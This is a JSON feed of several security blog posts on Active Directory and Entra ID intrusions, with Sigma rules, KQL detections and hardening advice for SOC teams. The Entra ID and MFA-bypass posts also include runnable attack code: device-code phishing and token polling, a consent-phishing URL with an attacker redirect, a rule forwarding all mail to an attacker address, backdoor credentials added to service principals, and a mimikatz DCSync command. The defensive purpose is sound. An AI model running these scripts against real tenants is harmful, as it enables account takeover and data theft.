condition: selection and not filter_computer_accounts and not filter_known_dc_sync
falsepositives:
- Azure AD Connect sync accounts (add to filter)
level: critical
tags:
- attack.credential_access
- attack.t1003.006
Kerberoasting RC4 Sigma rule:
\ntitle: Kerberoasting - RC4 TGS Request for AES-Capable Account
status: production
description: >
Detects Kerberos TGS requests using RC4 encryption for accounts
that should be requesting AES. Indicates potential Kerberoasting.
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter_legit:
ServiceName: 'krbtgt'
condition: selection and not filter_legit
falsepositives:
- Legacy systems without AES support (document and exclude)
level: high
tags:
- attack.credential_access
- attack.t1558.003
import pandas as pd
from datetime import datetime
def calculate_breakout_time(incident_events):
\"\"\"
incident_events: DataFrame with columns:
timestamp, host, event_type, description
\"\"\"
initial_host = incident_events[
incident_events['event_type'].isin(['c2_beacon', 'payload_execution', 'malicious_macro'])
].sort_values('timestamp').iloc[0]
t_access = initial_host['timestamp']
source_host = initial_host['host']
lateral_events = incident_events[
(incident_events['host'] != source_host) &
(incident_events['event_type'].isin([
'lateral_movement', 'pass_the_hash',
'remote_execution', 'new_beacon'
]))
].sort_values('timestamp')
if lateral_events.empty:
return None
t_lateral = lateral_events.iloc[0]['timestamp']
breakout_seconds = (t_lateral - t_access).total_seconds()
return {
'breakout_minutes': breakout_seconds / 60,
'source_host': source_host,
'first_lateral_host': lateral_events.iloc[0]['host']
}
After 5–10 incidents you have an internal breakout time distribution more relevant than industry averages because it reflects your specific environment and attacker targeting patterns.
\n1. MTTD for lateral movement precursors
\nNot generic malware MTTD specifically: time from first C2 beacon timestamp to first human acknowledgment of active intrusion. Measure by pulling the earliest related event timestamp in every IR timeline and comparing to the first ticket creation timestamp.
\n2. Alert-to-containment gap
\n\nMost of the gap is not investigation time it is approval time. Automating containment for specific high-confidence events (confirmed C2 beacon, confirmed LSASS dump, confirmed DCSync) eliminates approval latency for the highest-severity triggers.
\n3. Detection checkpoint coverage rate
\nOf the three checkpoints above, what percentage of test intrusions trigger at least one alert at each? Run quarterly using purple team exercises or Atomic Red Team automation.
\n| Checkpoint | Target Coverage |
|---|---|
| Checkpoint 3 Credential dumping | 100% |
| Checkpoint 2 BloodHound collection | 80% |
| Checkpoint 1 C2 beaconing | 60% |
Current state:
Median attacker breakout time (internal): 47 minutes
Current alert-to-containment gap: 4.5 hours
Coverage gap: −4 hours 13 minutes
Probability of containing before DA access: ~0%
With automated containment for Checkpoint 3 events:
Alert-to-containment gap (automated): 4 minutes
Coverage gap: +43 minutes
Probability of containing before DA access: ~85% (estimated)
Investment required:
- SOAR playbook development: 40 hours engineering
- Runbook approval changes: governance approval
- Quarterly validation: 2 days/quarter
Audit Directory Service Access for success events on DCscomsvcs.dll MiniDump process creation detection no legitimate use casemsDS-SupportedEncryptionTypes disable RC4 where possibleDetection built around human-in-the-loop review cannot keep pace with adversary breakout times under 60 minutes. The architecture that works:
\n\n\nHigh-fidelity automated detection → automated containment for specific trigger events → human review of containment decision in parallel, not in series.
\n
The three events (DCSync, comsvcs MiniDump, confirmed C2 beacon) have near-zero false positive rates when properly tuned. Automated containment on these events will generate almost no incorrect isolations while dramatically compressing your exposure window.
\nAll commands and code in this post describe attacker techniques documented in public DFIR reports and academic research. They are presented for defensive detection purposes only. Running these techniques against systems you do not own or have explicit written authorization to test is illegal.
", "url": "https://inferencedefense.com/academy/blog-internal/apt-initial-access-to-domain-dominance-4-hours", "title": "How APT Groups Pivot from Initial Access to Domain Dominance in Under 4 Hours", "summary": "A technical deep-dive into the attacker timeline from initial foothold to Domain Admin with exact commands, telemetry gaps, and detection rules for SOC teams.", "date_modified": "2026-04-17T00:00:00.000Z", "author": { "name": "Inference Defense", "url": "https://inferencedefense.com" }, "tags": [ "threat-intelligence", "active-directory", "lateral-movement", "detection-engineering", "incident-response", "cobalt-strike", "kerberoasting", "dcsync" ] }, { "id": "https://inferencedefense.com/academy/blog-internal/how-attackers-abuse-entra-id-oauth-without-malware", "content_html": "\n\nWho this is for: Security analysts who want to understand exact attack mechanics, and CISOs who need to know why their EDR gives them false confidence against this threat class. Every technique here has been observed in real-world intrusions no theoretical fluff.
\n
Your EDR is blind to most of this.
\nWhen a threat actor steals a valid OAuth token and moves laterally through your Microsoft 365 tenant, no malware is dropped, no exploit fires, no suspicious process spawns. The attacker looks exactly like a legitimate user because to every security control watching for behavior, they are one. They authenticated successfully. They have a valid session. They are inside.
\nThis is the defining characteristic of the modern identity attack surface: the weapon is authentication itself.
\nIn the past three years, attacks on Entra ID (formerly Azure Active Directory) and the OAuth 2.0 layer sitting on top of it have become the dominant initial access vector in enterprise intrusions. The 2024 Microsoft breach by Midnight Blizzard, the Cloudflare intrusion, dozens of ransomware campaigns all of them started not with a zero-day or a malicious attachment, but with an identity-layer compromise that existing controls simply weren't designed to catch.
\nThis post breaks down exactly how these attacks work, what the attacker sees, what telemetry exists to detect them, and what actionable controls reduce your exposure. We go deep.
\nBefore understanding how tokens get stolen, you need to understand what makes them valuable.
\nWhen a user authenticates to Microsoft 365, Entra ID issues several tokens:
\nIf an attacker obtains a refresh token or PRT, they have persistent access to your environment that survives password resets.
\nThe most common path. When a user authenticates to Microsoft 365 through a browser, tokens are stored in the browser's IndexedDB or session storage. A malicious Chrome extension with storage permissions can enumerate and exfiltrate all of them silently.
\nThe attacker doesn't need to crack anything. The token is valid, signed by Microsoft, and completely legitimate.
\nTools like Evilginx2 and Muraena act as reverse proxies between the victim and the legitimate Microsoft login page. The victim sees the real Microsoft login UI, completes MFA, and the proxy captures the post-authentication session cookie.
\n# Evilginx2 phishlet targeting Microsoft 365 (simplified flow)
# Attacker hosts reverse proxy at attacker-controlled domain
# Victim visits: login.attacker-domain.com
# Proxy forwards to: login.microsoftonline.com
# Victim authenticates, completes MFA
# Evilginx captures the session cookie (estsauth, estsauthpersistent)
# Attacker imports cookie:
# 1. Opens Chrome DevTools
# 2. Imports captured cookie into browser storage
# 3. Visits portal.office.com authenticated as victim, no MFA prompted
This is why MFA alone is not sufficient protection. The attacker is not bypassing MFA they're stealing the result of a completed MFA flow.
\nThe Primary Refresh Token lives in the Windows LSASS process on domain-joined machines. An attacker with local admin can use tools like ROADtoken or AADInternals to extract and use it.
\n# Using AADInternals to extract PRT from a joined device (requires local admin)
Import-Module AADInternals
# Extract PRT and session key from LSASS
$prt = Get-AADIntUserPRTToken
# Use PRT to generate a new access token for any resource
$token = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prt
# From here, the attacker can access any Microsoft resource
# the user is authorized for SharePoint, Exchange, Teams, Azure
When token theft is occurring, the legitimate user's sign-in logs will show successful authentication from their normal location, while the attacker's usage will appear as API calls or browser sessions from unusual IPs but importantly, they will show as successful with no failed authentications.
\nKey signals in Entra ID Sign-in Logs (AADNonInteractiveUserSignInLogs):
// KQL: Detect token replay from anomalous IP
AADNonInteractiveUserSignInLogs
| where ResultType == 0 // successful
| summarize
IPs = make_set(IPAddress),
Locations = make_set(Location),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by UserPrincipalName, CorrelationId
| where array_length(IPs) > 2
| where array_length(Locations) > 1
| project UserPrincipalName, IPs, Locations, FirstSeen, LastSeen
// KQL: Impossible travel detection (token used from two geographies within 1 hour)
AADNonInteractiveUserSignInLogs
| where ResultType == 0
| project TimeGenerated, UserPrincipalName, IPAddress, Location
| sort by UserPrincipalName, TimeGenerated asc
| extend PrevTime = prev(TimeGenerated), PrevLocation = prev(Location), PrevUser = prev(UserPrincipalName)
| where UserPrincipalName == PrevUser
| extend MinutesDelta = datetime_diff('minute', TimeGenerated, PrevTime)
| where MinutesDelta < 60 and Location != PrevLocation
Device code phishing is arguably the most dangerous technique in this category because it:
\nUnderstanding why requires understanding the OAuth 2.0 Device Authorization Grant flow which was designed for devices without browsers (smart TVs, IoT devices) and has been weaponized against enterprise users.
\nThe Device Authorization Grant (urn:ietf:params:oauth:grant-type:device_code) works like this:
device_code and a user_codeThe design intention is that the device initiates the request, the user approves it elsewhere. The attack inverts this: the attacker initiates the request and tricks the user into approving it.
\n# Step 1: Attacker initiates device code request
# (this is a standard OAuth request no exploit required)
import requests
tenant_id = \"common\" # or target tenant ID
client_id = \"d3590ed6-52b3-4102-aeff-aad2292ab01c\" # Microsoft Office client ID (legitimate)
# Request device code
response = requests.post(
f\"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode\",
data={
\"client_id\": client_id,
\"scope\": \"openid profile email offline_access https://graph.microsoft.com/.default\"
}
)
device_code_data = response.json()
user_code = device_code_data[\"user_code\"] # e.g., \"ABCD-EFGH\"
device_code = device_code_data[\"device_code\"] # long opaque string
verification_uri = device_code_data[\"verification_uri\"] # microsoft.com/devicelogin
print(f\"Send victim to: {verification_uri}\")
print(f\"Tell them to enter code: {user_code}\")
# Step 2: Attacker sends phishing message to victim
# Example Teams message (seen in real Midnight Blizzard campaigns):
#
# \"Hi, IT Security here. We're rolling out a new MFA compliance check.
# Please go to microsoft.com/devicelogin and enter this code to verify
# your device: ABCD-EFGH
# This takes 2 minutes and must be completed by EOD.\"
#
# The victim trusts this because:
# - The URL is a real Microsoft URL
# - The flow looks exactly like legitimate device enrollment
# - They've likely done this before for real IT requests
# Step 3: Attacker polls for token while victim completes authentication
import time
while True:
poll_response = requests.post(
f\"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token\",
data={
\"client_id\": client_id,
\"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",
\"device_code\": device_code
}
)
result = poll_response.json()
if \"access_token\" in result:
access_token = result[\"access_token\"]
refresh_token = result[\"refresh_token\"] # Valid for 90 days
print(\"SUCCESS persistent access obtained\")
print(f\"Refresh token: {refresh_token[:50]}...\")
break
elif result.get(\"error\") == \"authorization_pending\":
time.sleep(5) # Keep polling
else:
break
# Step 4: Attacker uses refresh token to enumerate and access resources
headers = {\"Authorization\": f\"Bearer {access_token}\"}
# Who am I?
me = requests.get(\"https://graph.microsoft.com/v1.0/me\", headers=headers).json()
# What emails can I read?
emails = requests.get(
\"https://graph.microsoft.com/v1.0/me/messages?$top=10&$select=subject,from,receivedDateTime\",
headers=headers
).json()
# What SharePoint sites exist?
sites = requests.get(
\"https://graph.microsoft.com/v1.0/sites?search=*\",
headers=headers
).json()
# Who are the Global Admins?
admins = requests.get(
\"https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'\",
headers=headers
).json()
The attacker now has a 90-day refresh token. They can read all emails, enumerate the entire directory, access SharePoint, and depending on the victim's role potentially escalate further.
\nDevice code phishing is detectable, but only if you know what to look for. The key signal is in AADSignInLogs where AuthenticationProtocol = deviceCode for users who should never be using that protocol.
// KQL: Detect suspicious device code authentications
AADSignInLogs
| where AuthenticationProtocol == \"deviceCode\"
| where AppDisplayName !in ( // exclude known legitimate device-code apps
\"Microsoft Azure PowerShell\",
\"Microsoft Azure CLI\",
\"Visual Studio Code\"
)
| project
TimeGenerated,
UserPrincipalName,
IPAddress,
Location,
DeviceDetail,
AppDisplayName,
Status
| where Status.errorCode == 0
| sort by TimeGenerated desc
// KQL: Alert on device code auth from unfamiliar location for user
let known_locations =
AADSignInLogs
| where TimeGenerated > ago(30d)
| where AuthenticationProtocol != \"deviceCode\"
| summarize KnownLocations = make_set(Location) by UserPrincipalName;
AADSignInLogs
| where AuthenticationProtocol == \"deviceCode\"
| where TimeGenerated > ago(1d)
| join kind=leftouter known_locations on UserPrincipalName
| where not(Location in (KnownLocations))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName
OAuth consent grant abuse is one of the most underestimated persistence mechanisms in enterprise environments. An attacker who tricks a user into consenting to a malicious application receives an OAuth token that persists through password resets, MFA changes, and account recovery because it's bound to the application registration, not the credential.
\nWhen a user signs into a third-party app using \"Sign in with Microsoft,\" they see a consent prompt listing the permissions the app is requesting. If they consent, Entra ID creates a service principal in the tenant representing that application, and the delegated permissions are stored permanently.
\nThe problem: most users click through consent prompts without reading them. And Microsoft's default configuration allows users to consent to applications requesting low-privilege permissions without administrator approval.
\nPermissions that seem low-risk but enable significant access:
\n| Permission | What it looks like | What it enables |
|---|---|---|
Mail.Read | \"Read your mail\" | Full inbox access, ongoing via refresh token |
Files.Read.All | \"Read all files\" | Every SharePoint file and OneDrive document |
User.ReadBasic.All | \"Read basic user profiles\" | Full directory enumeration |
offline_access | (often not shown) | Persistent access via refresh token |
MailboxSettings.Read | \"Read your mailbox settings\" | Email forwarding rules, inbox rules |
# Attacker registers an application in any Azure tenant (including their own)
# Sets redirect URI to their controlled server
# Crafts a consent URL targeting the victim organization
attacker_app_client_id = \"attacker-app-client-id-here\"
redirect_uri = \"https://attacker-server.com/callback\"
tenant_id = \"target-company.onmicrosoft.com\" # or the tenant GUID
# Scopes requesting persistent, broad access
scopes = \" \".join([
\"openid\",
\"profile\",
\"email\",
\"offline_access\",
\"https://graph.microsoft.com/Mail.Read\",
\"https://graph.microsoft.com/Files.Read.All\",
\"https://graph.microsoft.com/User.ReadBasic.All\",
\"https://graph.microsoft.com/MailboxSettings.ReadWrite\" # enables forwarding rules
])
# Consent URL sent to victim in phishing email
consent_url = (
f\"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize\"
f\"?client_id={attacker_app_client_id}\"
f\"&response_type=code\"
f\"&redirect_uri={redirect_uri}\"
f\"&scope={scopes}\"
f\"&response_mode=query\"
f\"&state=random-state-value\"
)
# When victim clicks and consents, attacker receives an authorization code
# They exchange it for access + refresh tokens
# Application grant persists indefinitely in the tenant
# After consent, attacker sets up email forwarding using Graph API
# This is the persistence play even if the user changes their password,
# all email continues forwarding to attacker's mailbox
access_token = \"token-obtained-via-consent\"
headers = {
\"Authorization\": f\"Bearer {access_token}\",
\"Content-Type\": \"application/json\"
}
# Create inbox rule to forward all mail to external address
forward_rule = {
\"displayName\": \"Security Compliance Rule\", # disguised name
\"isEnabled\": True,
\"conditions\": {
\"bodyOrSubjectContains\": [] # empty = matches all email
},
\"actions\": {
\"forwardTo\": [
{
\"emailAddress\": {
\"name\": \"Compliance Archive\",
\"address\": \"attacker@external-domain.com\"
}
}
],
\"stopProcessingRules\": False
}
}
response = requests.post(
\"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules\",
headers=headers,
json=forward_rule
)
The inbox rule is invisible to the end user unless they specifically check Outlook rules. Many victims are compromised for months before discovery.
\n// KQL: Find recently consented third-party applications
AuditLogs
| where OperationName == \"Consent to application\"
| extend
AppName = tostring(TargetResources[0].displayName),
ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),
AppId = tostring(AdditionalDetails[0].value)
| where TimeGenerated > ago(30d)
| project TimeGenerated, ConsentedBy, AppName, AppId, Result
| sort by TimeGenerated desc
// KQL: Find applications with high-risk delegated permissions
AuditLogs
| where OperationName == \"Add delegated permission grant\"
| extend
Permission = tostring(TargetResources[0].modifiedProperties[0].newValue),
Principal = tostring(InitiatedBy.user.userPrincipalName)
| where Permission has_any (\"Mail.Read\", \"Files.Read.All\", \"MailboxSettings\", \"offline_access\")
| project TimeGenerated, Principal, Permission
# PowerShell: Enumerate all OAuth grants in tenant (run as Global Admin)
Connect-MgGraph -Scopes \"Directory.Read.All\"
# Get all service principals with delegated permission grants
$grants = Get-MgOauth2PermissionGrant -All
foreach ($grant in $grants) {
$sp = Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId
[PSCustomObject]@{
AppName = $sp.DisplayName
AppId = $sp.AppId
Publisher = $sp.PublisherName
Permissions = $grant.Scope
ConsentType = $grant.ConsentType # AllPrincipals = admin consent, Principal = user
UserId = $grant.PrincipalId
}
} | Where-Object {
$_.Permissions -match \"Mail|Files|offline_access|MailboxSettings\"
} | Export-Csv \"oauth_grants_audit.csv\" -NoTypeInformation
A compromised user account is bad. A compromised service principal with application permissions is a catastrophe.
\nService principals represent applications in Entra ID. When an application has application permissions (as opposed to delegated permissions), it acts as itself not on behalf of a user. This means:
\nThe most common initial access vector for this attack type. Developers commit application secrets, certificate thumbprints, or client credentials to GitHub, GitLab, or Azure DevOps repositories either accidentally or as hardcoded config.
\n# Tools attackers use to hunt for leaked credentials
# truffleHog searches git history for high-entropy strings and known patterns
trufflehog git https://github.com/target-company/repo --only-verified
# gitleaks fast scanner for secrets in git repos
gitleaks detect --source /path/to/cloned/repo --report-format json
# What attackers look for in leaked config files:
# AZURE_CLIENT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# AZURE_CLIENT_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# AZURE_TENANT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
If an attacker compromises a Global Admin account (via any of the methods above), they can add new credentials to existing high-privileged service principals creating a persistent backdoor that survives the original compromised account being remediated.
\n# Attacker adds a new secret to an existing privileged service principal
# Requires Application.ReadWrite.All or privileged admin role
Connect-MgGraph -AccessToken $stolen_admin_token
# Find high-value service principals (ones with Directory or Exchange permissions)
$targets = Get-MgServicePrincipal -All | Where-Object {
$_.AppRoles.Value -match \"Directory|Exchange|Mail|Sites\" -or
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id).ResourceDisplayName -eq \"Microsoft Graph\"
}
# Add backdoor credential to target service principal
$targetSP = $targets[0]
$credential = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id -PasswordCredential @{
DisplayName = \"sync-service-key\" # innocuous name
EndDateTime = (Get-Date).AddYears(2) # 2-year validity
}
Write-Output \"New secret: $($credential.SecretText)\"
# Attacker now has 2-year access even after incident remediation
# Using the backdoored credential to authenticate and access data
import requests
tenant_id = \"target-tenant-id\"
client_id = \"service-principal-client-id\"
client_secret = \"backdoor-secret-obtained-above\"
# Get access token NO MFA, NO user interaction, NO Conditional Access
token_response = requests.post(
f\"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token\",
data={
\"client_id\": client_id,
\"client_secret\": client_secret,
\"grant_type\": \"client_credentials\",
\"scope\": \"https://graph.microsoft.com/.default\"
}
)
access_token = token_response.json()[\"access_token\"]
# With application permissions, access ALL users' mail (not just one account)
headers = {\"Authorization\": f\"Bearer {access_token}\"}
# List all users in the tenant
all_users = requests.get(
\"https://graph.microsoft.com/v1.0/users?$select=id,mail,displayName,jobTitle\",
headers=headers
).json()
# Read mail for any specific executive
ceo_id = \"ceo-user-object-id\"
ceo_mail = requests.get(
f\"https://graph.microsoft.com/v1.0/users/{ceo_id}/messages?$top=50\",
headers=headers
).json()
Newer environments use Workload Identity Federation to allow applications in external systems (GitHub Actions, AWS, GCP) to authenticate to Entra ID without secrets. If an attacker compromises the external system (e.g., a GitHub repository), they inherit the Entra ID permissions.
\n# GitHub Actions workflow legitimate use case
# If the repository is compromised, attacker gets Entra ID access
- name: Login to Azure
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
# If attacker can trigger this workflow (via PR to public repo,
# or compromise of a maintainer account), they get the token
// KQL: Detect new credentials added to service principals
AuditLogs
| where OperationName in (
\"Add service principal credentials\",
\"Update application – Certificates and secrets management\"
)
| extend
ModifiedApp = tostring(TargetResources[0].displayName),
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
ModifiedByApp = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, ModifiedApp, ModifiedBy, ModifiedByApp, Result
| where Result == \"success\"
// KQL: Hunt for service principal sign-ins from unexpected IPs
AADServicePrincipalSignInLogs
| where ResultType == 0
| summarize
IPList = make_set(IPAddress),
Countries = make_set(LocationDetails.countryOrRegion),
SignInCount = count()
by ServicePrincipalName, bin(TimeGenerated, 1d)
| where array_length(IPList) > 3 or array_length(Countries) > 1
| sort by TimeGenerated desc
Getting a single user's tokens is usually not the endgame. The objective is typically:
\nHere is the attack chain an advanced threat actor executes after initial compromise.
\n# Graph API enumeration all legitimate API calls, no scanning tools
headers = {\"Authorization\": f\"Bearer {access_token}\"}
# 1. Get full user directory who's valuable?
users = requests.get(
\"https://graph.microsoft.com/v1.0/users\"
\"?$select=id,displayName,mail,jobTitle,department,officeLocation\"
\"&$top=999\",
headers=headers
).json()
# 2. Find all role assignments who has admin?
roles = requests.get(
\"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments\"
\"?$expand=principal\",
headers=headers
).json()
# Filter for Global Admins, privileged roles
privileged_roles = [
\"Global Administrator\",
\"Privileged Role Administrator\",
\"Application Administrator\",
\"Exchange Administrator\",
\"Security Administrator\"
]
# 3. Find service principals with high privileges
high_value_sps = requests.get(
\"https://graph.microsoft.com/v1.0/servicePrincipals\"
\"?$select=id,displayName,appId,appRoles\"
\"&$top=999\",
headers=headers
).json()
# 4. Check if the current user has any admin roles
my_roles = requests.get(
\"https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole\",
headers=headers
).json()
An account with the Application Administrator role can add credentials to any application service principal. If any application has Global Admin-level permissions, this is a one-step escalation.
\n# Attacker has Application Administrator role
# Find apps with Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory
$apps = Get-MgServicePrincipal -All
$highPrivApps = foreach ($app in $apps) {
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $app.Id
$highPriv = $assignments | Where-Object {
$_.ResourceDisplayName -eq \"Microsoft Graph\" -and
# These permissions are effectively Global Admin
$app.AppRoles.Value -match \"RoleManagement.ReadWrite|Directory.ReadWrite\"
}
if ($highPriv) { $app }
}
# Add credential to high-priv app, use it to assign Global Admin to attacker account
$cred = Add-MgServicePrincipalPassword -ServicePrincipalId $highPrivApps[0].Id -PasswordCredential @{
DisplayName = \"backup-credential\"
EndDateTime = (Get-Date).AddYears(1)
}
If the tenant uses Entra Connect (formerly Azure AD Connect) for hybrid identity sync, the sync account has extensive on-premises Active Directory privileges. Compromising it is a path to on-premises domain admin.
\n# Identify Entra Connect sync account (usually MSOL_ or AAD_ prefix)
Get-ADUser -Filter {SamAccountName -like \"MSOL_*\" -or SamAccountName -like \"AAD_*\"} -Properties *
# The sync account has DCSync rights on the domain by default
# An attacker with its credentials can dump all AD hashes
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
Most organizations have Conditional Access policies protecting interactive logins but forget that:
\n# Enumerate Conditional Access policies to find gaps
Connect-MgGraph -Scopes \"Policy.Read.All\"
$policies = Get-MgIdentityConditionalAccessPolicy -All
foreach ($policy in $policies) {
Write-Output \"Policy: $($policy.DisplayName)\"
Write-Output \" State: $($policy.State)\"
Write-Output \" Excluded Users: $($policy.Conditions.Users.ExcludeUsers -join ', ')\"
Write-Output \" Excluded Groups: $($policy.Conditions.Users.ExcludeGroups -join ', ')\"
Write-Output \" Excluded Apps: $($policy.Conditions.Applications.ExcludeApplications -join ', ')\"
Write-Output \" Client App Types: $($policy.Conditions.ClientAppTypes -join ', ')\"
# Red flag: \"all\" is NOT in ClientAppTypes legacy auth not blocked
if ($policy.Conditions.ClientAppTypes -notcontains \"exchangeActiveSync\" -and
$policy.Conditions.ClientAppTypes -notcontains \"other\") {
Write-Output \" *** LEGACY AUTH NOT COVERED ***\"
}
}
For a SOC to catch this attack end-to-end, you need coverage across multiple log sources:
\n\n// KQL: Master hunting query chain of suspicious identity activity
let suspicious_users =
AADSignInLogs
| where AuthenticationProtocol == \"deviceCode\" or
(NetworkLocationDetails == \"[]\" and RiskLevelDuringSignIn in (\"high\", \"medium\"))
| distinct UserPrincipalName;
AuditLogs
| where TimeGenerated > ago(7d)
| where InitiatedBy.user.userPrincipalName in (suspicious_users)
| where OperationName in (
\"Consent to application\",
\"Add service principal credentials\",
\"Add member to role\",
\"Add app role assignment to service principal\",
\"Update application\",
\"Set-InboxRule\",
\"New-InboxRule\"
)
| project TimeGenerated,
User = InitiatedBy.user.userPrincipalName,
Operation = OperationName,
Target = TargetResources[0].displayName,
Result
| sort by TimeGenerated asc
The detection queries and attack chains above are interesting, but what matters is what you change. Here are the highest-ROI controls ranked by impact vs. effort:
\n\nCreate a Conditional Access policy that blocks the device code authentication flow for all users who don't legitimately need it (almost everyone in a standard enterprise).
\nEntra ID → Protection → Conditional Access → New Policy
\nThis single policy eliminates one of the most prevalent nation-state attack vectors.
\nEntra ID → Enterprise Applications → Consent and permissions → User consent settings
\nSet to: \"Do not allow user consent\" or at minimum \"Allow user consent for apps from verified publishers for selected permissions only\"
\nAll third-party application consent should require admin approval. Yes, this creates IT tickets. Those tickets are preferable to a 90-day email forwarding rule the attacker is running silently.
\nRun the PowerShell enumeration from Section 4 against your tenant. You will find:
\n# Quick audit: service principals with credentials expiring far in future
Connect-MgGraph -Scopes \"Application.Read.All\"
Get-MgApplication -All | ForEach-Object {
$app = $_
$app.PasswordCredentials | Where-Object {
$_.EndDateTime -gt (Get-Date).AddYears(1)
} | ForEach-Object {
[PSCustomObject]@{
App = $app.DisplayName
AppId = $app.AppId
KeyName = $_.DisplayName
Expires = $_.EndDateTime
CreatedBy = $_.CustomKeyIdentifier # often null for old creds
}
}
} | Sort-Object Expires -Descending | Export-Csv \"long-lived-credentials.csv\"
Entra ID's Token Protection feature (currently GA for service tokens, preview for sign-in tokens) binds tokens to the specific device they were issued on. Token replay from a different device fails, even with a valid refresh token.
\nConditional Access → New Policy → Grant → Require token protection
\nThis directly defeats AiTM phishing and token theft attacks.
\nPermanent Global Administrator assignments are the attacker's dream. Every privileged role should be:
\nA compromised Global Admin credential that has never had PIM enabled means the attacker has persistent, unrestricted admin access. A PIM-enabled environment means an attacker with a stolen credential has nothing without completing an activation workflow.
\nThe threat actors using these techniques Midnight Blizzard, Scattered Spider, dozens of ransomware affiliates are not sophisticated in the traditional sense. They are not writing novel exploits or reverse engineering kernels. They are exceptionally good at identity abuse and they are counting on the fact that your security controls were designed for a threat model from 2015.
\nFileless, identity-layer attacks beat EDR. They beat antivirus. They beat network monitoring. What they do not beat is:
\nAADNonInteractiveUserSignInLogs means and checks itThe signal is there. Attackers leave traces in every log source mentioned in this post. The question is whether your team is looking.
\n\n", "url": "https://inferencedefense.com/academy/blog-internal/how-attackers-abuse-entra-id-oauth-without-malware", "title": "How Attackers Abuse Entra ID & OAuth Without Malware", "summary": "Exact techniques threat actors use to compromise Entra ID and OAuth without malware token theft, device code phishing, consent abuse plus KQL detections.", "date_modified": "2026-04-17T00:00:00.000Z", "author": { "name": "Inference Defense", "url": "https://inferencedefense.com" }, "tags": [ "entra-id", "oauth", "identity-security", "token-theft", "detection-engineering", "microsoft-365", "conditional-access" ] }, { "id": "https://inferencedefense.com/academy/blog-internal/mfa-bypass-device-code-phishing-token-replay-conditional-access", "content_html": "All commands and queries in this post are for defensive use detection, auditing, and hardening. Test all detection queries in your environment against known-good baselines before using in production alerting.
\n
\n\nYour user just completed MFA. They entered their authenticator code correctly. Microsoft accepted it. Your Conditional Access policy evaluated and passed. And the attacker sitting at a server in a different country just received a valid OAuth access token with 60-90 minutes of life, a refresh token valid for 90 days, and a path to your entire Microsoft 365 environment. No phishing page. No fake login form. No credential harvested. MFA was the mechanism the attacker used to authenticate on the victim's behalf. This is not a future threat. It has been actively exploited since at least mid-2024, and campaigns surged dramatically in late 2025.
\n
CISOs have treated MFA as a near-absolute control for years. The implicit assumption: if a user completed MFA, the session is legitimate. That assumption is now broken not in edge cases, not theoretically, but in active, widespread campaigns documented by Microsoft, Proofpoint, Huntress, Wiz, and others throughout 2024–2025.
\nThe attacks covered in this post exploit a fundamental architectural truth about modern identity systems: authentication tokens are bearer artifacts. Once issued, they are trusted unconditionally by resource servers regardless of where they are presented. The attacker's goal has shifted from stealing credentials to stealing or intercepting tokens and modern OAuth flows, designed for convenience and interoperability, hand attackers multiple legitimate mechanisms to accomplish this.
\nThis post covers three attack classes in technical depth:
\nFor each: the exact attack flow, the commands and API calls involved, what Entra ID logs, what it misses, and specific KQL and detection logic you can deploy.
\nThe OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for devices with limited input capability smart TVs, printers, IoT devices that cannot support an interactive browser login. The flow works as follows:
\n\nThe critical design property: the device polling for the token and the user completing authentication are decoupled. The device code is the only link between them. This decoupling is the attack primitive.
\nThe attacker performs the following sequence. These are real API calls against Microsoft's identity platform:
\nStep 1 Attacker initiates the device code flow
\nPOST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode HTTP/1.1
Content-Type: application/x-www-form-urlencoded
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=openid+profile+email+offline_access+https://graph.microsoft.com/.default
d3590ed6-52b3-4102-aeff-aad2292ab01c is the client ID for Microsoft Office a public client registered by Microsoft, requiring no secrets. Attackers use legitimate Microsoft client IDs to request broad scopes without needing to register a malicious application, making app-consent-based detection useless.
Response:
\n{
\"user_code\": \"ABCD-EFGH\",
\"device_code\": \"BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....[long opaque string]\",
\"verification_uri\": \"https://microsoft.com/devicelogin\",
\"expires_in\": 900,
\"interval\": 5,
\"message\": \"To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD-EFGH to authenticate.\"
}
Step 2 Attacker begins polling while sending phishing lure to victim
\nimport requests, time
device_code = \"BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....\"
while True:
r = requests.post(
\"https://login.microsoftonline.com/common/oauth2/v2.0/token\",
data={
\"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",
\"client_id\": \"d3590ed6-52b3-4102-aeff-aad2292ab01c\",
\"device_code\": device_code
}
)
resp = r.json()
if \"access_token\" in resp:
print(\"[+] Token acquired!\")
